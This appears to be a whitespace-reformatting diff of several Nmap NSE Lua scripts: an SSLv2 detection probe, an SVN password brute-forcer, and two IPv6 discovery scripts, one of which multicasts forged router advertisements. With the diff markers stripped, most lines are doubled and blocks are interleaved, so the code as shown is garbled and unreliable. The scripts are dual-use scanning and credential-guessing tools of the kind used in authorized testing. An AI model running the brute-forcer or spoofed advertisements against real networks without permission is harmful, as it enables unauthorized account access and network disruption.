table.insert(t, string.char(0x00, 0x18));
table.insert(t, string.char(0x00, 0x00));
table.insert(t, string.char(0x00, 0x10));
table.insert(t, string.char(0x07, 0x00, 0xc0));
table.insert(t, string.char(0x05, 0x00, 0x80));
table.insert(t, string.char(0x03, 0x00, 0x80));
table.insert(t, string.char(0x01, 0x00, 0x80));
table.insert(t, string.char(0x08, 0x00, 0x80));
table.insert(t, string.char(0x06, 0x00, 0x40));
table.insert(t, string.char(0x04, 0x00, 0x80));
table.insert(t, string.char(0x02, 0x00, 0x80));
table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
ssl_v2_hello = table.concat(t, "")
-- build client hello packet (contents inspired by
-- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
local t = {};
table.insert(t, string.char(0x80, 0x31));
table.insert(t, string.char(0x01));
table.insert(t, string.char(0x00, 0x02));
table.insert(t, string.char(0x00, 0x18));
table.insert(t, string.char(0x00, 0x00));
table.insert(t, string.char(0x00, 0x10));
table.insert(t, string.char(0x07, 0x00, 0xc0));
table.insert(t, string.char(0x05, 0x00, 0x80));
table.insert(t, string.char(0x03, 0x00, 0x80));
table.insert(t, string.char(0x01, 0x00, 0x80));
table.insert(t, string.char(0x08, 0x00, 0x80));
table.insert(t, string.char(0x06, 0x00, 0x40));
table.insert(t, string.char(0x04, 0x00, 0x80));
table.insert(t, string.char(0x02, 0x00, 0x80));
table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
ssl_v2_hello = table.concat(t, "")
socket:connect(host, port, "tcp");
socket:send(ssl_v2_hello);
socket:connect(host, port, "tcp");
socket:send(ssl_v2_hello);
status, server_hello = socket:receive_bytes(2);
status, server_hello = socket:receive_bytes(2);
if (not status) then
socket:close();
return;
end
if (not status) then
socket:close();
return;
end
server_hello_len = string.sub(server_hello, 1, 2);
server_hello_len = hex2dec(server_hello_len);
-- length record doesn't include its own length, and is "broken".
server_hello_len = server_hello_len - (128 * 256) + 2;
server_hello_len = string.sub(server_hello, 1, 2);
server_hello_len = hex2dec(server_hello_len);
-- length record doesn't include its own length, and is "broken".
server_hello_len = server_hello_len - (128 * 256) + 2;
-- the hello needs to be at least 13 bytes long to be of any use
if (server_hello_len < 13) then
socket:close();
return;
end
--try to get entire hello, if we don't already
if (#server_hello < server_hello_len) then
status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
-- the hello needs to be at least 13 bytes long to be of any use
if (server_hello_len < 13) then
socket:close();
return;
end
--try to get entire hello, if we don't already
if (#server_hello < server_hello_len) then
status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
if (not status) then
socket:close();
return;
end
if (not status) then
socket:close();
return;
end
server_hello = server_hello .. tmp;
end;
server_hello = server_hello .. tmp;
end;
socket:close();
socket:close();
-- split up server hello into components
idx, message_type = give_n_bytes(idx, 1, server_hello);
idx, SID_hit = give_n_bytes(idx, 1, server_hello);
idx, certificate_type = give_n_bytes(idx, 1, server_hello);
idx, ssl_version = give_n_bytes(idx, 2, server_hello);
idx, certificate_len = give_n_bytes(idx, 2, server_hello);
certificate_len = hex2dec(certificate_len);
idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
ciphers_len = hex2dec(ciphers_len);
idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
connection_ID_len = hex2dec(connection_ID_len);
idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
-- split up server hello into components
idx, message_type = give_n_bytes(idx, 1, server_hello);
idx, SID_hit = give_n_bytes(idx, 1, server_hello);
idx, certificate_type = give_n_bytes(idx, 1, server_hello);
idx, ssl_version = give_n_bytes(idx, 2, server_hello);
idx, certificate_len = give_n_bytes(idx, 2, server_hello);
certificate_len = hex2dec(certificate_len);
idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
ciphers_len = hex2dec(ciphers_len);
idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
connection_ID_len = hex2dec(connection_ID_len);
idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
-- some sanity checks:
-- is response a server hello?
if (message_type ~= string.char(0x04)) then
return;
end
-- is certificate in X.509 format?
if (certificate_type ~= string.char(0x01)) then
return;
end
-- some sanity checks:
-- is response a server hello?
if (message_type ~= string.char(0x04)) then
return;
end
-- is certificate in X.509 format?
if (certificate_type ~= string.char(0x01)) then
return;
end
-- get a list of ciphers offered
available_ciphers = ciphers(cipher_list, ciphers_len);
-- get a list of ciphers offered
available_ciphers = ciphers(cipher_list, ciphers_len);
-- actually run some tests:
-- actually run some tests:
local o = stdnse.output_table()
if (ssl_version == string.char(0x00, 0x02)) then
if (ssl_version == string.char(0x00, 0x02)) then
table.insert(o, "SSLv2 supported")
o["ciphers"] = available_ciphers
end
end
return o;
return o;
end

View File

@@ -46,227 +46,227 @@ portrule = shortport.port_or_service(3690, "svnserve", "tcp", "open")
svn =
{
svn_client = "nmap-brute v0.1",
svn_client = "nmap-brute v0.1",
new = function(self, host, port, repo)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.repo = repo
o.invalid_users = {}
return o
end,
new = function(self, host, port, repo)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.repo = repo
o.invalid_users = {}
return o
end,
--- Connects to the SVN - repository
--
-- @return status true on success, false on failure
-- @return err string containing an error message on failure
connect = function(self)
local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
local status, msg
--- Connects to the SVN - repository
--
-- @return status true on success, false on failure
-- @return err string containing an error message on failure
connect = function(self)
local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
local status, msg
self.socket = nmap.new_socket()
self.socket = nmap.new_socket()
local result
status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
if( not(status) ) then
return false, result
end
local result
status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
if( not(status) ) then
return false, result
end
status, msg = self.socket:receive_bytes(1)
if ( not(status) or not( msg:match("^%( success") ) ) then
return false, "Banner reports failure"
end
status, msg = self.socket:receive_bytes(1)
if ( not(status) or not( msg:match("^%( success") ) ) then
return false, "Banner reports failure"
end
msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
status = self.socket:send( msg )
if ( not(status) ) then
return false, "Send failed"
end
msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
status = self.socket:send( msg )
if ( not(status) ) then
return false, "Send failed"
end
status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then
return false, "Receive failed"
end
status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then
return false, "Receive failed"
end
if ( msg:match("%( success") ) then
local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
if ( not(tmp) ) then return false, "Failed to detect authentication" end
tmp = stdnse.strsplit(" ", tmp)
self.auth_mech = {}
for _, v in pairs(tmp) do self.auth_mech[v] = true end
elseif ( msg:match("%( failure") ) then
return false
end
if ( msg:match("%( success") ) then
local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
if ( not(tmp) ) then return false, "Failed to detect authentication" end
tmp = stdnse.strsplit(" ", tmp)
self.auth_mech = {}
for _, v in pairs(tmp) do self.auth_mech[v] = true end
elseif ( msg:match("%( failure") ) then
return false
end
return true
end,
return true
end,
--- Attempts to login to the SVN server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return err string containing error message on failure
login = function( self, username, password )
local status, msg
local challenge, digest
--- Attempts to login to the SVN server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return err string containing error message on failure
login = function( self, username, password )
local status, msg
local challenge, digest
if ( self.auth_mech["CRAM-MD5"] ) then
msg = "( CRAM-MD5 ( ) ) "
status = self.socket:send( msg )
if ( self.auth_mech["CRAM-MD5"] ) then
msg = "( CRAM-MD5 ( ) ) "
status = self.socket:send( msg )
status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then
return false, "error"
end
status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then
return false, "error"
end
challenge = msg:match("<.+>")
challenge = msg:match("<.+>")
if ( not(challenge) ) then
return false, "Failed to read challenge"
end
if ( not(challenge) ) then
return false, "Failed to read challenge"
end
digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
self.socket:send( msg )
digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
self.socket:send( msg )
status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then
return false, "error"
end
status, msg = self.socket:receive_bytes(1)
if ( not(status) ) then
return false, "error"
end
if ( msg:match("Username not found") ) then
return false, "Username not found"
elseif ( msg:match("success") ) then
return true, "Authentication success"
else
return false, "Authentication failed"
end
else
return false, "Unsupported auth-mechanism"
end
if ( msg:match("Username not found") ) then
return false, "Username not found"
elseif ( msg:match("success") ) then
return true, "Authentication success"
else
return false, "Authentication failed"
end
else
return false, "Unsupported auth-mechanism"
end
end,
end,
--- Close the SVN connection
--
-- @return status true on success, false on failure
close = function(self)
return self.socket:close()
end,
--- Close the SVN connection
--
-- @return status true on success, false on failure
close = function(self)
return self.socket:close()
end,
}
Driver =
{
new = function(self, host, port, invalid_users )
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.repo = stdnse.get_script_args('svn-brute.repo')
o.invalid_users = invalid_users
return o
end,
new = function(self, host, port, invalid_users )
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.repo = stdnse.get_script_args('svn-brute.repo')
o.invalid_users = invalid_users
return o
end,
connect = function( self )
local status, msg
connect = function( self )
local status, msg
self.svn = svn:new( self.host, self.port, self.repo )
status, msg = self.svn:connect()
if ( not(status) ) then
local err = brute.Error:new( "Failed to connect to SVN server" )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
self.svn = svn:new( self.host, self.port, self.repo )
status, msg = self.svn:connect()
if ( not(status) ) then
local err = brute.Error:new( "Failed to connect to SVN server" )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return true
end,
return true
end,
disconnect = function( self )
self.svn:close()
end,
disconnect = function( self )
self.svn:close()
end,
--- Attempts to login to the SVN server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, msg
--- Attempts to login to the SVN server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, msg
if ( self.invalid_users[username] ) then
return false, brute.Error:new( "User is invalid" )
end
if ( self.invalid_users[username] ) then
return false, brute.Error:new( "User is invalid" )
end
status, msg = self.svn:login( username, password )
status, msg = self.svn:login( username, password )
if ( not(status) and msg:match("Username not found") ) then
self.invalid_users[username] = true
return false, brute.Error:new("Username not found")
elseif ( status and msg:match("success") ) then
return true, brute.Account:new(username, password, creds.State.VALID)
else
return false, brute.Error:new( "Incorrect password" )
end
end,
if ( not(status) and msg:match("Username not found") ) then
self.invalid_users[username] = true
return false, brute.Error:new("Username not found")
elseif ( status and msg:match("success") ) then
return true, brute.Account:new(username, password, creds.State.VALID)
else
return false, brute.Error:new( "Incorrect password" )
end
end,
--- Verifies whether the repository is valid
--
-- @return status, true on success, false on failure
-- @return err string containing an error message on failure
check = function( self )
local svn = svn:new( self.host, self.port, self.repo )
local status = svn:connect()
--- Verifies whether the repository is valid
--
-- @return status, true on success, false on failure
-- @return err string containing an error message on failure
check = function( self )
local svn = svn:new( self.host, self.port, self.repo )
local status = svn:connect()
svn:close()
svn:close()
if ( status ) then
return true
else
return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
end
end,
if ( status ) then
return true
else
return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
end
end,
}
action = function(host, port)
local status, accounts
local status, accounts
local repo = stdnse.get_script_args('svn-brute.repo')
local force = stdnse.get_script_args('svn-brute.force')
local repo = stdnse.get_script_args('svn-brute.repo')
local force = stdnse.get_script_args('svn-brute.force')
if ( not(repo) ) then
return "No repository specified (see svn-brute.repo)"
end
if ( not(repo) ) then
return "No repository specified (see svn-brute.repo)"
end
local svn = svn:new( host, port, repo )
local status = svn:connect()
local svn = svn:new( host, port, repo )
local status = svn:connect()
if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
return " \n Anonymous SVN detected, no authentication needed"
end
if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
return " \n Anonymous SVN detected, no authentication needed"
end
if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
return " \n No supported authentication mechanisms detected"
end
if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
return " \n No supported authentication mechanisms detected"
end
local invalid_users = {}
local engine = brute.Engine:new(Driver, host, port, invalid_users)
engine.options.script_name = SCRIPT_NAME
status, accounts = engine:start()
if( not(status) ) then
return accounts
end
local invalid_users = {}
local engine = brute.Engine:new(Driver, host, port, invalid_users)
engine.options.script_name = SCRIPT_NAME
status, accounts = engine:start()
if( not(status) ) then
return accounts
end
return accounts
return accounts
end

View File

@@ -34,169 +34,169 @@ categories = {"discovery","broadcast"}
prerule = function()
return nmap.is_privileged()
return nmap.is_privileged()
end
--- Build an IPv6 invalid extension header.
-- @param nxt_hdr integer that stands for next header's type
local function build_invalid_extension_header(nxt_hdr)
-- RFC 2640, section 4.2 defines the TLV format of options headers.
-- It is important that the first byte have 10 in the most significant
-- bits; that instructs the receiver to send a Parameter Problem.
-- Option type 0x80 is unallocated; see
-- http://www.iana.org/assignments/ipv6-parameters/.
local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
local ext_header =
string.char(nxt_hdr) .. --next header
string.char(0) .. -- length 8
ex_invalid_opt
return ext_header
-- RFC 2640, section 4.2 defines the TLV format of options headers.
-- It is important that the first byte have 10 in the most significant
-- bits; that instructs the receiver to send a Parameter Problem.
-- Option type 0x80 is unallocated; see
-- http://www.iana.org/assignments/ipv6-parameters/.
local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
local ext_header =
string.char(nxt_hdr) .. --next header
string.char(0) .. -- length 8
ex_invalid_opt
return ext_header
end
local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
return interfaces
return interfaces
end
local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
----------------------------------------------------------------------------
--Multicast invalid destination exheader probe
----------------------------------------------------------------------------
--Multicast invalid destination exheader probe
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local function catch ()
dnet:ethernet_close()
pcap:pcap_close()
local function catch ()
dnet:ethernet_close()
pcap:pcap_close()
end
local try = nmap.new_try(catch)
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
-- In addition to setting an invalid option in
-- build_invalid_extension_header, we set an unknown ICMPv6 type of
-- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
-- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
-- response only if both of these conditions are met. In this we differ
-- from the alive6 tool, which sends a proper echo request.
probe.icmpv6_type = 254
probe.icmpv6_code = 0
-- Add a non-empty payload too.
probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
probe:build_icmpv6_header()
probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
local addrs = {}
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if l2reply.mac_dst == src_mac then
local reply = packet.Packet:new(layer3)
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end
local try = nmap.new_try(catch)
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
dnet:ethernet_close()
pcap:pcap_close()
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
-- In addition to setting an invalid option in
-- build_invalid_extension_header, we set an unknown ICMPv6 type of
-- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
-- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
-- response only if both of these conditions are met. In this we differ
-- from the alive6 tool, which sends a proper echo request.
probe.icmpv6_type = 254
probe.icmpv6_code = 0
-- Add a non-empty payload too.
probe.icmpv6_payload = string.char(0x00, 0x00, 0x00, 0x00)
probe:build_icmpv6_header()
probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
local addrs = {}
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if l2reply.mac_dst == src_mac then
local reply = packet.Packet:new(layer3)
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
condvar("signal")
end
local function format_output(results)
local output = tab.new()
local output = tab.new()
for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if #results > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if #results > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
end
action = function()
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
return format_output(results)
return format_output(results)
end

View File

@@ -48,28 +48,28 @@ categories = {"discovery","broadcast"}
prerule = function()
return nmap.is_privileged()
return nmap.is_privileged()
end
local function get_identifier(ip6_addr)
return string.sub(ip6_addr, 9, 16)
return string.sub(ip6_addr, 9, 16)
end
--- Get a Unique-local Address with random global ID.
-- @param local_scope The scope of the address, local or reserved.
-- @return A 16-byte string of IPv6 address, and the length of the prefix.
local function get_radom_ula_prefix(local_scope)
local ula_prefix
math.randomseed(os.time())
local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
local ula_prefix
math.randomseed(os.time())
local global_id = string.char(math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1,math.random(256)-1)
if local_scope then
ula_prefix = packet.ip6tobin("fd00::")
else
ula_prefix = packet.ip6tobin("fc00::")
end
ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
return ula_prefix,64
if local_scope then
ula_prefix = packet.ip6tobin("fd00::")
else
ula_prefix = packet.ip6tobin("fc00::")
end
ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
return ula_prefix,64
end
--- Build an ICMPv6 payload of Router Advertisement.
@@ -79,174 +79,174 @@ end
-- @param valid_time integer that represents the valid time of the prefix.
-- @param preferred_time integer that represents the preferred time of the prefix.
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time)
local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags
0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....",0,valid_time) ..
packet.set_u32("....",0,preferred_time) ..
string.char(0,0,0,0) .. --unknown
prefix
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload
local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags
0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....",0,valid_time) ..
packet.set_u32("....",0,preferred_time) ..
string.char(0,0,0,0) .. --unknown
prefix
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload
end
local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
-- interfaces list (decide which interfaces to broadcast on)
local interfaces = {}
if interface_name then
-- single interface defined
local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table
else
stdnse.print_debug("Interface not supported or not properly configured.")
end
else
for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table)
end
end
end
return interfaces
return interfaces
end
local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1")
----------------------------------------------------------------------------
--SLAAC-based host discovery probe
----------------------------------------------------------------------------
--SLAAC-based host discovery probe
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local dnet = nmap.new_dnet()
local pcap = nmap.new_socket()
local function catch ()
dnet:ethernet_close()
pcap:pcap_close()
local function catch ()
dnet:ethernet_close()
pcap:pcap_close()
end
local try = nmap.new_try(catch)
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
local actual_prefix = string.sub(src_ip6,1,8)
local ula_prefix, prefix_len = get_radom_ula_prefix()
-- preferred_lifetime <= valid_lifetime.
-- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
-- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
local valid_lifetime = 6
local preferred_lifetime = 6
local probe = packet.Frame:new()
probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
probe.ip_bin_dst = dst_ip6
probe.mac_src = src_mac
probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
local expected_ip6_src = packet.ip6tobin("::")
local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
local reply = packet.Packet:new(layer3)
if reply.ip_bin_src == expected_ip6_src and
string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
local ula_target_addr_str = packet.toipv6(reply.ns_target)
local identifier = get_identifier(reply.ns_target)
--Filter out the reduplicative identifiers.
--A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
if not results[actual_addr_str] then
if target.ALLOW_NEW_TARGETS then
target.add(actual_addr_str)
end
